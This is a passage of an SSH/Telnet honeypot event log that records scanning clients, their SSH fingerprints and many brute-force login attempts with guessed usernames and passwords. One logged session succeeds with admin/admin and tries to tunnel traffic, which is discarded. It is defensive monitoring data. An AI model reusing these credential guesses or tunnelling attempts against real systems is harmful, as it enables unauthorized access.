{"eventid":"cowrie.login.failed","username":"ftpuser","password":"!@#$%^&*","message":"login attempt [ftpuser/!@#$%^&*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:53:38.784457Z","src_ip":"101.47.159.125","session":"437e8813d5ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:53:40.018816Z","src_ip":"101.47.159.125","session":"437e8813d5ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.92.183.199","src_port":54799,"dst_ip":"159.203.135.109","dst_port":23,"session":"11d078c19555","protocol":"telnet","message":"New connection: 177.92.183.199:54799 (159.203.135.109:23) [session: 11d078c19555]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:54:10.526855Z"}
{"eventid":"cowrie.session.closed","duration":30.624565362930298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:54:41.151292Z","src_ip":"177.92.183.199","session":"11d078c19555","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":41158,"dst_ip":"10.17.0.5","dst_port":22,"session":"37d65c8830f7","protocol":"ssh","message":"New connection: 160.251.185.39:41158 (10.17.0.5:22) [session: 37d65c8830f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:54:58.740360Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:54:58.744622Z","src_ip":"160.251.185.39","session":"37d65c8830f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:54:58.925514Z","src_ip":"160.251.185.39","session":"37d65c8830f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgo","password":"csgoserver","message":"login attempt [csgo/csgoserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:54:59.685474Z","src_ip":"160.251.185.39","session":"37d65c8830f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:55:00.870364Z","src_ip":"160.251.185.39","session":"37d65c8830f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.143","src_port":59820,"dst_ip":"10.17.0.5","dst_port":22,"session":"09ca6846dbc6","protocol":"ssh","message":"New connection: 58.186.20.143:59820 (10.17.0.5:22) [session: 09ca6846dbc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:55:04.350130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:55:04.359369Z","src_ip":"58.186.20.143","session":"09ca6846dbc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:55:04.606995Z","src_ip":"58.186.20.143","session":"09ca6846dbc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"123456789","message":"login attempt [sftpuser/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:55:05.622996Z","src_ip":"58.186.20.143","session":"09ca6846dbc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:55:06.872651Z","src_ip":"58.186.20.143","session":"09ca6846dbc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":43884,"dst_ip":"159.203.135.109","dst_port":22,"session":"9f1ee1da8bed","protocol":"ssh","message":"New connection: 101.47.159.125:43884 (159.203.135.109:22) [session: 9f1ee1da8bed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:55:28.292740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:55:28.297337Z","src_ip":"101.47.159.125","session":"9f1ee1da8bed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:55:28.544330Z","src_ip":"101.47.159.125","session":"9f1ee1da8bed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"112233","message":"login attempt [ubuntu/112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:55:29.562907Z","src_ip":"101.47.159.125","session":"9f1ee1da8bed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:55:30.812527Z","src_ip":"101.47.159.125","session":"9f1ee1da8bed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":57086,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d2da1e9f9d0","protocol":"ssh","message":"New connection: 87.251.64.176:57086 (10.17.0.5:22) [session: 8d2da1e9f9d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:55:40.562301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:55:40.566499Z","src_ip":"87.251.64.176","session":"8d2da1e9f9d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:55:40.663055Z","src_ip":"87.251.64.176","session":"8d2da1e9f9d0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:55:40.952007Z","src_ip":"87.251.64.176","session":"8d2da1e9f9d0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:55:41.054280Z","session":"8d2da1e9f9d0","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:55:41.152320Z","src_ip":"87.251.64.176","session":"8d2da1e9f9d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:55:41.250748Z","src_ip":"87.251.64.176","session":"8d2da1e9f9d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":36326,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4c183346ad7","protocol":"ssh","message":"New connection: 80.94.92.186:36326 (10.17.0.5:22) [session: c4c183346ad7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:56:29.027726Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:56:29.124717Z","src_ip":"80.94.92.186","session":"c4c183346ad7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:56:29.628507Z","src_ip":"80.94.92.186","session":"c4c183346ad7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse","message":"login attempt [lighthouse/lighthouse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:56:30.352400Z","src_ip":"80.94.92.186","session":"c4c183346ad7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":12953,"dst_ip":"10.17.0.5","dst_port":22,"session":"44e5b1359a3e","protocol":"ssh","message":"New connection: 2.57.121.112:12953 (10.17.0.5:22) [session: 44e5b1359a3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:56:30.364606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:56:30.369867Z","src_ip":"2.57.121.112","session":"44e5b1359a3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:56:30.476036Z","src_ip":"2.57.121.112","session":"44e5b1359a3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"royston","message":"login attempt [admin/royston] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:56:30.970635Z","src_ip":"2.57.121.112","session":"44e5b1359a3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:56:31.587613Z","src_ip":"80.94.92.186","session":"c4c183346ad7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"roxbury","message":"login attempt [admin/roxbury] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:56:32.078926Z","src_ip":"2.57.121.112","session":"44e5b1359a3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rowdy1","message":"login attempt [admin/rowdy1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:56:33.188422Z","src_ip":"2.57.121.112","session":"44e5b1359a3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rotterdam","message":"login attempt [admin/rotterdam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:56:34.297336Z","src_ip":"2.57.121.112","session":"44e5b1359a3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"rosemarie","message":"login attempt [admin/rosemarie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:56:35.409356Z","src_ip":"2.57.121.112","session":"44e5b1359a3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:56:36.519443Z","src_ip":"2.57.121.112","session":"44e5b1359a3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":49104,"dst_ip":"159.203.135.109","dst_port":22,"session":"86a26059b654","protocol":"ssh","message":"New connection: 14.225.205.58:49104 (159.203.135.109:22) [session: 86a26059b654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:56:36.663650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:56:36.668827Z","src_ip":"14.225.205.58","session":"86a26059b654","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:56:36.924359Z","src_ip":"14.225.205.58","session":"86a26059b654","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"password@123","message":"login attempt [postgres/password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:56:37.977264Z","src_ip":"14.225.205.58","session":"86a26059b654","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:56:39.236882Z","src_ip":"14.225.205.58","session":"86a26059b654","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.251.185.39","src_port":40064,"dst_ip":"10.17.0.5","dst_port":22,"session":"878710db65d4","protocol":"ssh","message":"New connection: 160.251.185.39:40064 (10.17.0.5:22) [session: 878710db65d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:56:55.930302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T07:56:55.935288Z","src_ip":"160.251.185.39","session":"878710db65d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh